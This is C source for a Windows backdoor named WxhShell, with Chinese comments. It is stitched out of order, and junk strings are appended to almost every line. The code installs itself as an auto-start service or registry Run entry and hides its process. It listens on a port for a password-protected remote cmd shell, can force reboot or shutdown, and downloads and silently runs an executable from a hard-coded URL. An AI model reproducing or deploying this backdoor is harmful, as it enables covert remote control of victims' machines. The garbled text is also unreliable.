    if(Boot(SHUTDOWN)) vn=0=(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @$d_JwI  
    else { c:z<8#A}  
    closesocket(wsh); q0]Z` <w  
    ExitThread(0); *6*/kV? F  
    } p[gq^5WuC  
    break; Ja6PX P]'  
    } qeZ*!H6-  
  // 获取shell u'EzYJ7  
  case 's': { ~bk+JK- >  
    CmdShell(wsh); r*s)T`T}}  
    closesocket(wsh); |h1 Y3  
    ExitThread(0); syLpnNx=  
    break; E?P:!V=_  
  } R a?0jcSQ$  
  // 退出 <</ Le%  
  case 'x': { I!-5 #bxD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BnLE +X  
    CloseIt(wsh); _LSf )  
    break; 9 l9|w4YJs  
    } z}m)u  
  // 离开 xu0pY(n^r  
  case 'q': { O_wRI\ !  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZnYoh/  
    closesocket(wsh); ;;l-E>X0  
    WSACleanup(); |yow(2(F@  
    exit(1); 0xg6  
    break; e!~x-P5M`  
        } }fKpih  
  } 27KfT] =  
  } %]i("21  
u9%)_Q!14  
  // 提示信息 }7jg>3ng(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %phv<AW  
} Nt'u;0  
  } 5hbQUF ,Q  
F45UO%/P  
  return; zmMz6\ $  
} C %o^AR  
gkyv[  
// shell模块句柄 &-0 eWwMW  
int CmdShell(SOCKET sock) HN tl>H  
{ ?rn#S8nNx<  
STARTUPINFO si; y7CrH=^jc  
ZeroMemory(&si,sizeof(si)); }PDNW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0if~qGm=!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PXYo@^ 3  
PROCESS_INFORMATION ProcessInfo; <+c6CM$#}V  
char cmdline[]="cmd"; 7&z`N^dz{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "ewB4F[  
  return 0; |YAnd=$  
} C7[CfcPA  
=-qv[;%& 6  
// 自身启动模式 #I.Wmfz  
int StartFromService(void) n7 S~n k  
{ Eo }mSd  
typedef struct xc+h Fx  
{ F$Q@UVA  
  DWORD ExitStatus; *Q8d &$ ^  
  DWORD PebBaseAddress; &ii3Vlyzg  
  DWORD AffinityMask; )cy_d!  
  DWORD BasePriority; -]h3s >t  
  ULONG UniqueProcessId; ;tF7 GjEp  
  ULONG InheritedFromUniqueProcessId; fXHN m$"n  
}   PROCESS_BASIC_INFORMATION; A[6$'IJ  
3%W R  
PROCNTQSIP NtQueryInformationProcess; L>mv\D;o.  
pPdOw K#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~\z\f} w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jci'q=Vpu  
&v^LxLt+s  
  HANDLE             hProcess; E}$K&<J'-  
  PROCESS_BASIC_INFORMATION pbi; -l!;PV S|  
QDC]g.x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >Cjb|f3'i}  
  if(NULL == hInst ) return 0; W%=b|6E  
yU(k;A-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rz!E=1Y$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m{bw(+r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +FoR;v)z=F  
t3 q0|S  
  if (!NtQueryInformationProcess) return 0; g[P8  
J8x>vC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >_y>["u6J#  
  if(!hProcess) return 0; 7='M&Za  
F:CqB|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; In)#`E` g.  
%@{);5[  
  CloseHandle(hProcess); DaW_-:@s  
Q b5AQf30  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `q 4%  
if(hProcess==NULL) return 0; /EOtK|E  
{qm(Z+wcmb  
HMODULE hMod; b7/1 ]  
char procName[255]; Y24: D7Q  
unsigned long cbNeeded; >4.{|0%ut  
j!;?=s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G!54 e  
PT|W{RlNl  
  CloseHandle(hProcess); wK[xLf  
 [;D4,@A  
if(strstr(procName,"services")) return 1; // 以服务启动 !5}Ibb  
K@6tI~un  
  return 0; // 注册表启动 C`D5``4  
} uE>2 *u\  
xOjCF&W  
// 主模块 =J,aBp  
int StartWxhshell(LPSTR lpCmdLine) Nd&u*&S  
{ kg$<^:uX  
  SOCKET wsl; ~h;c3#wuc  
BOOL val=TRUE; +[JGi"ca  
  int port=0; .(  vS/  
  struct sockaddr_in door; 5M~\'\;  
IiACr@[?e  
  if(wscfg.ws_autoins) Install(); "YGs<)S  
/0 ,#c2aq  
port=atoi(lpCmdLine); %/H  
@fp(uu  
if(port<=0) port=wscfg.ws_port; )jp#|#h  
6P' m0  
  WSADATA data; <3QE3;4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tWi@_Rlx;  
k[N46=u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8KD7t&H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 74%,v|  
  door.sin_family = AF_INET; aF$HF;-y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3_IuK 6K2  
  door.sin_port = htons(port); }@V(y9K  
R tn.cSd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /r|^Dc Nx  
closesocket(wsl); 6tM CpSJ  
return 1; ~?dPF;.6_  
} aU2O5z&  
{vAq08  
  if(listen(wsl,2) == INVALID_SOCKET) { a Kb2:1EQ  
closesocket(wsl); A1p;Ye>o~  
return 1; P}H7WH  
} S@zsPzw  
  Wxhshell(wsl); E'e#axF;  
  WSACleanup(); Hq^sU%  
>U9*  
return 0; jd=k[Yqr  
@3{'!#/  
} \{n]&IjA  
i 4eb\j  
// 以NT服务方式启动 1P4jdp=~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oa+Rr&t'  
{ A%u-6"  
DWORD   status = 0; S 1|[}nYP  
  DWORD   specificError = 0xfffffff; <?,o {  
*;O$=PE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;*+jCL 2F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /+Xv( B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }@}jwi)l  
  serviceStatus.dwWin32ExitCode     = 0; y1/$dn  
  serviceStatus.dwServiceSpecificExitCode = 0; A[Juv]X  
  serviceStatus.dwCheckPoint       = 0; p,@_A'  
  serviceStatus.dwWaitHint       = 0; u Y/Q]N T  
&`<j!xlG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8(D>ws$  
  if (hServiceStatusHandle==0) return; w@ 4q D  
u A:|#mO  
status = GetLastError(); iU{F\>  
  if (status!=NO_ERROR) c0u!V+V%  
{ f>5{SoM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w:& m_z#M  
    serviceStatus.dwCheckPoint       = 0; ooByGQ90V:  
    serviceStatus.dwWaitHint       = 0; )=;0  
    serviceStatus.dwWin32ExitCode     = status; on+ c*#  
    serviceStatus.dwServiceSpecificExitCode = specificError; BULX*eOt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^!1mChf  
    return; j|KZ HH%dc  
  } /_?Ly$>'  
6Ez}A|i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ge[f/"u  
  serviceStatus.dwCheckPoint       = 0; Q,Hw@w<1  
  serviceStatus.dwWaitHint       = 0; {Os$Uui37\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qp_kILo~  
} IC/'<%k  
O(h4;'/E  
// 处理NT服务事件,比如:启动、停止 X&t)S?eCos  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2Q)"~3  
{ y:D|U!o2V  
switch(fdwControl) *8fnxWR   
{ @P4fR7  
case SERVICE_CONTROL_STOP: LqPn$rZ|$  
  serviceStatus.dwWin32ExitCode = 0; zhU)bb[A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c{6!}0Q4  
  serviceStatus.dwCheckPoint   = 0; FlRbGg^  
  serviceStatus.dwWaitHint     = 0; q/?#+d  
  { W sQo+Ua  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0eQyzn*98  
  } rcPP-+XW  
  return; W{At3Bfy  
case SERVICE_CONTROL_PAUSE: [(w _!|S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^/2n[orl5  
  break; P6zy<w  
case SERVICE_CONTROL_CONTINUE: 'AE)&56  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D&/(Avx.  
  break; ^~0\d;l_  
case SERVICE_CONTROL_INTERROGATE: v1QE|@  
  break; fnG&29x  
}; UC;_}>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b"t!nfgo  
} $VhUZGuG>  
,;'9PsIS^  
// 标准应用程序主函数 v}IkY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ngcXS2S_  
{ ?3Se=7 k  
SY["dcx+  
// 获取操作系统版本 .:*V CDOM  
OsIsNt=GetOsVer(); nfq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A}FEM[2  
^* ^te+N  
  // 从命令行安装 "?EA G  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mje6Q  
d3+pS\&IX?  
  // 下载执行文件 xpKD 'O=T  
if(wscfg.ws_downexe) { lq}=&)%C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <K%qaf  
  WinExec(wscfg.ws_filenam,SW_HIDE); vX]\Jqy  
} SgHLs  
=K=FzV'_~  
if(!OsIsNt) { 0iinr:=u  
// 如果时win9x,隐藏进程并且设置为注册表启动 T/V8&'^i  
HideProc(); gd R wh  
StartWxhshell(lpCmdLine); ^TJn&k  
} YW}q@AY7  
else (!&cfabL  
  if(StartFromService()) _y#t[|}w  
  // 以服务方式启动 p-GlGEt_X  
  StartServiceCtrlDispatcher(DispatchTable); -]~&Pi|  
else #{1w#Iz;  
  // 普通方式启动 "@RLS~Ej  
  StartWxhshell(lpCmdLine); r+217fS>  
KcglpKV`  
return 0; E5UI  
} Xa.Qt.C  
p\wE})mu  
# nwEF QA  
n|Iy  
=========================================== 3<1Uq3Pa  
b-'41d}Hn  
R)"Ds}1G  
v9( ->X'  
4*g`!~)  
H2l/9+  
" ~z$vF  
rJ4 O_a5/  
#include <stdio.h> Igt:M[ /  
#include <string.h> fD  
#include <windows.h> YQvN;W  
#include <winsock2.h> y~w2^VN=  
#include <winsvc.h> w7$*J:{  
#include <urlmon.h> Q9H~B`\nQ  
8C#R  
#pragma comment (lib, "Ws2_32.lib") jwgXq(  
#pragma comment (lib, "urlmon.lib") yjaX\Wb[z[  
4P( Y34j  
#define MAX_USER   100 // 最大客户端连接数 H-~V:OCB~  
#define BUF_SOCK   200 // sock buffer zdrCr0Rx,  
#define KEY_BUFF   255 // 输入 buffer &*B=5W;6^u  
2--"@@  
#define REBOOT     0   // 重启 3 k py3z[%  
#define SHUTDOWN   1   // 关机 jxU1u"WU  
%Wkvo-rOq  
#define DEF_PORT   5000 // 监听端口 ;t{Ew+s  
dFFJw[$8w  
#define REG_LEN     16   // 注册表键长度 nR-`;lrF~  
#define SVC_LEN     80   // NT服务名长度 im_WTZz2P  
Jiyt,D*wX  
// 从dll定义API m{  .'55  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (ec?_N0=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); abh='5H|^|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .p  NWd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fd*)1FQKT  
<[ />M  
// wxhshell配置信息 Z|K+{{C  
struct WSCFG { 5:6as^i:b  
  int ws_port;         // 监听端口 v*SSc5gFG  
  char ws_passstr[REG_LEN]; // 口令 AA"?2dF  
  int ws_autoins;       // 安装标记, 1=yes 0=no obKWnet  
  char ws_regname[REG_LEN]; // 注册表键名 9bR lSb@  
  char ws_svcname[REG_LEN]; // 服务名 U:ggZ`.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0f}zm8p7.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NBuibL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZdJwy%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I&?(=i)N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q{5wx8_U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O}I8P")m  
=T;>$&qs  
}; D0 Yl?LU3  
^AkVmsv;;  
// default Wxhshell configuration 0)`{]&  
struct WSCFG wscfg={DEF_PORT, "K n JUXpl  
    "xuhuanlingzhe", HgPRz C  
    1, u@tJu'X  
    "Wxhshell", 6:O3>'n  
    "Wxhshell", h@}KBK  
            "WxhShell Service", {"$ Q'T  
    "Wrsky Windows CmdShell Service", y! he<4  
    "Please Input Your Password: ", r|wB& PGW  
  1, Q?-HU,RBO  
  "http://www.wrsky.com/wxhshell.exe", +ntrp='7O7  
  "Wxhshell.exe" P9= L?t.  
    }; PXqLK3AE  
3^AycwNBA  
// 消息定义模块 eL3HX _2(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7 ^7Rk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g+;)?N*j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,#3u. =IR[  
char *msg_ws_ext="\n\rExit."; {WQH  
char *msg_ws_end="\n\rQuit."; P0NGjS|Z{  
char *msg_ws_boot="\n\rReboot..."; _PD RUJ  
char *msg_ws_poff="\n\rShutdown..."; X]ow5{e  
char *msg_ws_down="\n\rSave to "; Dnn$-W|NC  
gKy@$at&  
char *msg_ws_err="\n\rErr!"; VU3xP2c:  
char *msg_ws_ok="\n\rOK!"; l!CWE  
px;5X4U  
char ExeFile[MAX_PATH]; i1k(3:ay<  
int nUser = 0; yQ5&S]Xk$$  
HANDLE handles[MAX_USER]; 0`.3`Mk   
int OsIsNt; ivg:`$a[  
v'nM=  
SERVICE_STATUS       serviceStatus; ]H<5]({F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &$F4/2|b%  
`##qf@M  
// 函数声明 ~nJcHJ1nb4  
int Install(void); SQ!wq  
int Uninstall(void); ^Yz.,!B[  
int DownloadFile(char *sURL, SOCKET wsh); 5[l9`Cn&A  
int Boot(int flag); 5ws|4V  
void HideProc(void); 4+%;eY.A  
int GetOsVer(void); 8}9|hT;  
int Wxhshell(SOCKET wsl); #-$\f(+<  
void TalkWithClient(void *cs); d\C x(Lb[  
int CmdShell(SOCKET sock); :U)>um34e  
int StartFromService(void); [5K& J-W  
int StartWxhshell(LPSTR lpCmdLine); $MD|YW5  
.J:04t1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gh}k9-L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,0 +%ji^V  
09z%y[z  
// 数据结构和表定义 M,xhQ{eBY  
SERVICE_TABLE_ENTRY DispatchTable[] = i(R&Q;{E^  
{ *fyC@fI>  
{wscfg.ws_svcname, NTServiceMain}, q>:>f+4  
{NULL, NULL} d'ddxT$GG  
}; ;AyE(|U+  
W/_=S+CvK  
// 自我安装 lg` Qi&  
int Install(void) >;V ? s]  
{ #U45H.Rz  
  char svExeFile[MAX_PATH]; @V{s'V   
  HKEY key; Tdtn-  
  strcpy(svExeFile,ExeFile); Y@x }b{3  
HDqPqrWm  
// 如果是win9x系统,修改注册表设为自启动 LDlj4>%pW^  
if(!OsIsNt) { VK\ Bjru9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "#bL/b'{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [P,YW|:n  
  RegCloseKey(key); C@+"d3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vzD3_ ?D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q` mw2$zv  
  RegCloseKey(key); 3C'`c=  
  return 0; /3|uU  
    } wq &|V  
  } [pMJ9 d$  
} c@u)m}V  
else { Wy^43g38'p  
_22;hnG<iy  
// 如果是NT以上系统,安装为系统服务 P<P4*cOV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )zw}+z3st  
if (schSCManager!=0) B.wihJVDg  
{ ]~S,K}T  
  SC_HANDLE schService = CreateService }p-<+sFo  
  ( mXZOkx{  
  schSCManager, @Dc?fyY*o<  
  wscfg.ws_svcname,  +C3IP  
  wscfg.ws_svcdisp, VB6EM|bphl  
  SERVICE_ALL_ACCESS, `:WVp~fn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n{vp&  
  SERVICE_AUTO_START, xb#M{EE-.  
  SERVICE_ERROR_NORMAL, 48X;'b,h  
  svExeFile, q~*3Bk~  
  NULL, Mf0!-bu  
  NULL, H':dLR  
  NULL, .5=Qf vi*  
  NULL, (?MRbX]@  
  NULL &1O[N*$e  
  ); Abr:UEG  
  if (schService!=0) GE4d=;5  
  { hgCF!eud  
  CloseServiceHandle(schService); NJJsg^'  
  CloseServiceHandle(schSCManager); >XzCHtEP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v4]7"7GuW  
  strcat(svExeFile,wscfg.ws_svcname); Qx,?v|Xg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V0hC[Ilr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cgKK(-$ny  
  RegCloseKey(key); ca>6r`  
  return 0; c +Pg[1-  
    } `>:ozN#)\  
  } #fg RF  
  CloseServiceHandle(schSCManager); @kU{  
} ydp?%RB3w  
} HfN-WYiR  
9/Q_Jv-Q  
return 1; Bkg/A;H  
} yjCY2T E  
PMr {BS  
// 自我卸载 S-^y;#=  
int Uninstall(void) q^}QwJw  
{ sW%U3,j  
  HKEY key; S<^*jheO5  
mo%9UL,#W  
if(!OsIsNt) { Zw(*q?9\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #;. tVo I  
  RegDeleteValue(key,wscfg.ws_regname); uS :3Yo  
  RegCloseKey(key); W-mi1l^H{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1g`$[wp|  
  RegDeleteValue(key,wscfg.ws_regname); i9}n\r0=c  
  RegCloseKey(key); b~\gV_Z  
  return 0; zo66=vE!  
  } [uOW\)`  
} ,=KJ7zIK?  
} }N; c  
else { :32  
M ,.++W\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9:0JWW^so  
if (schSCManager!=0) `o(PcX3/}  
{ e9r#r~Qq|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2GRh8G&5  
  if (schService!=0) )fSQTbB;0  
  { fd >t9.  
  if(DeleteService(schService)!=0) { WE$Pi;q1  
  CloseServiceHandle(schService); "Yw-1h`fR  
  CloseServiceHandle(schSCManager); s+?r4t3H!  
  return 0; & i|x2; v  
  } }x % ;y]S  
  CloseServiceHandle(schService); DmAMr=p  
  } _$/(l4\T[  
  CloseServiceHandle(schSCManager); >*%ySlZbs  
} GIQ/gM?Pv  
} (1\!6  
_[h1SAJ  
return 1; H~RWM'_  
} ) ^PY-~o[  
}8 A]  
// 从指定url下载文件 pLMki=.Ld  
int DownloadFile(char *sURL, SOCKET wsh) F;yq/e#Q  
{ @V)k*h3r+  
  HRESULT hr; c>d+q9M  
char seps[]= "/"; B]]_rl,  
char *token; [ >#?C*s  
char *file; 1fwCQM   
char myURL[MAX_PATH]; s5FyP "V  
char myFILE[MAX_PATH]; ]od]S 8$5  
hfP}+on%  
strcpy(myURL,sURL); VkFTIyt  
  token=strtok(myURL,seps); l){l*~5zl2  
  while(token!=NULL) 7)G- EAF  
  { ->&AJI0  
    file=token; 2Jrr;"r  
  token=strtok(NULL,seps); %*]3j^b Q+  
  } %YefTk8cr,  
'wz*GMGWC  
GetCurrentDirectory(MAX_PATH,myFILE); _m0H gLS~  
strcat(myFILE, "\\"); rFZB6A<(]  
strcat(myFILE, file); u9}}}UN!  
  send(wsh,myFILE,strlen(myFILE),0); Z 2Fm=88  
send(wsh,"...",3,0); @P+k7"f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <9eQ  
  if(hr==S_OK) A- IpE  
return 0; Jis{k$4  
else Rj9ME,u  
return 1; "?lirOD  
yi%A*q~MT  
} #B:J7&@fn  
K^?yD   
// 系统电源模块 VcIsAK".4[  
int Boot(int flag) :6PWU$z$7  
{ 3JEH sYxs  
  HANDLE hToken;  f]q3E[?/  
  TOKEN_PRIVILEGES tkp; $ t_s7  
)zI<C=])"  
  if(OsIsNt) { g*\u8fpRq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "t~I;%$[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h>$,97EU  
    tkp.PrivilegeCount = 1; $bh2zKB)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j(6:   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r]Da4G^  
if(flag==REBOOT) { U#1T HO`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A_T-]YQ  
  return 0; 0}hN/2}&  
} r Y|'<$wvg  
else { No<2+E!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4fw>(d(2  
  return 0; D|9C|q  
} h=YY> x  
  } fGb(=l  
  else { vlIet$ k  
if(flag==REBOOT) { rX%#Q\0h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -% PUY(  
  return 0; =A9>Ej/  
} *aS|4M-  
else { 6 +^V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *RUB`tEL  
  return 0; I>bLgt]u3  
} Pk[f_%0  
} rAIX(2@cR_  
PHi'&)|  
return 1; UtG@0(6C  
} v<_}Br2I[  
UP 1Y3  
// win9x进程隐藏模块 -'3vQXj&  
void HideProc(void) #B"ki{Se*  
{ COc1np  
's@v'u3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [nn/a?Z4S  
  if ( hKernel != NULL ) ?c"No|@+  
  { a-x8LfcbF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l!Z>QE`.S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4O9HoX#-?  
    FreeLibrary(hKernel); 7xB#)o53  
  } QE)I7(  
IJxdbuKg  
return; *pw:oTO  
} rI o`n2  
\% !]qv  
// 获取操作系统版本 u9"b,].b  
int GetOsVer(void) ' IFbD["r  
{ j\q1b:pE  
  OSVERSIONINFO winfo; wd~e3%JM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,!F'h:   
  GetVersionEx(&winfo); ?+D_*'65D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Run)E*sf  
  return 1; 9 }|Bs=q  
  else oiJa1X  
  return 0; 5*[zIKdt2  
} b:\I*WJ  
LpaY M d;  
// 客户端句柄模块 a36n}R4Q  
int Wxhshell(SOCKET wsl) k^z)Vu|f.  
{ d"Y9go"Z  
  SOCKET wsh; c~ l$_A  
  struct sockaddr_in client; cz OhSbmc  
  DWORD myID;  N~EM`d  
B RG1/f d  
  while(nUser<MAX_USER) %Gl,V5z&  
{ Y<:%_]]  
  int nSize=sizeof(client); hUSr1jlA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WTA0S}pT  
  if(wsh==INVALID_SOCKET) return 1; wWY6DQQB  
fU!C:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T5B~CC'6  
if(handles[nUser]==0) I|m fr{  
  closesocket(wsh); %<O'\&!,  
else  7.CzS  
  nUser++;  {3yzC  
  } pwT|T;j*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >wej1#\3  
-5>K pgXo\  
  return 0; PDREwBX  
} +Nv&Qu%  
&.an-  
// 关闭 socket )AXTi4MNp  
void CloseIt(SOCKET wsh) ;T/W7=4CZ  
{ .=3Sm%  
closesocket(wsh); K7M7T5<  
nUser--; ScQJsFE6  
ExitThread(0); z(g4D!  
} =R:3J"ly0  
cInzwdh7  
// 客户端请求句柄 8UwL%"?YB  
void TalkWithClient(void *cs) `O.*qs5  
{ uh\I'  
xVuGean Cv  
  SOCKET wsh=(SOCKET)cs; j +@1frp  
  char pwd[SVC_LEN]; =y,_FFoS  
  char cmd[KEY_BUFF]; _:+W0YS  
char chr[1]; D2E~ c? V  
int i,j; @{@x2'-A  
Itr yiU9  
  while (nUser < MAX_USER) { $V]D7kDph*  
_MR|(mV  
if(wscfg.ws_passstr) { F:n(yXA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &?9p\oY[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SY`NZJK  
  //ZeroMemory(pwd,KEY_BUFF); f5 wn`a~h  
      i=0; hx+a.N  
  while(i<SVC_LEN) { kMo;<Z  
U;i:k%Bzy  
  // 设置超时 pTOS}A[dh  
  fd_set FdRead; QJTGeJ Y  
  struct timeval TimeOut; NAZxM9  
  FD_ZERO(&FdRead); ~/! Zh  
  FD_SET(wsh,&FdRead); wHWd~K_q  
  TimeOut.tv_sec=8; 6JmS9ho  
  TimeOut.tv_usec=0; ORs<<H.d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P}~6 yX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qdCa]n!d  
Rde#=>@V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IxYuJpi  
  pwd=chr[0]; 0+P_z(93?  
  if(chr[0]==0xd || chr[0]==0xa) { {K*l,U  
  pwd=0; kR%CSLOVy  
  break; N12K*P[!  
  } Nj %!N  
  i++; w)&]k#r  
    } |D$U{5}Mv  
Sl:Qq!  
  // 如果是非法用户,关闭 socket N1\u~%AT"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \x(J v Dt  
} d5T0#ue/e  
|ZJ]`qmZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R7KHfXy'm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  kej@,8  
.P# c/SQp  
while(1) { ``1#^ `  
P{)&#HXUVb  
  ZeroMemory(cmd,KEY_BUFF); 5f=e JDo=x  
FxKH?Rl  
      // 自动支持客户端 telnet标准   wDem }uO  
  j=0; 2xni! *T+  
  while(j<KEY_BUFF) { IA&((\YC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }{ pNasAU  
  cmd[j]=chr[0]; A*n'"+_  
  if(chr[0]==0xa || chr[0]==0xd) { TiCp2Rsz  
  cmd[j]=0; gA2Il8K  
  break; . 7g^w+W  
  } yT-m9$^v  
  j++; r@e_cD] M  
    } %HL@O]ftS  
TqKL(Qw E  
  // 下载文件 |w>"oaLN|Q  
  if(strstr(cmd,"http://")) { W`eYd| +C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5ii`!y  
  if(DownloadFile(cmd,wsh)) k^C;"awh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .',ikez  
  else Fng":28o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lR{eO~'~V  
  } *VIM!/YW  
  else { ^gw_Up<e6  
[LL"86D  
    switch(cmd[0]) { zO9$fU  
  M_T$\z;,  
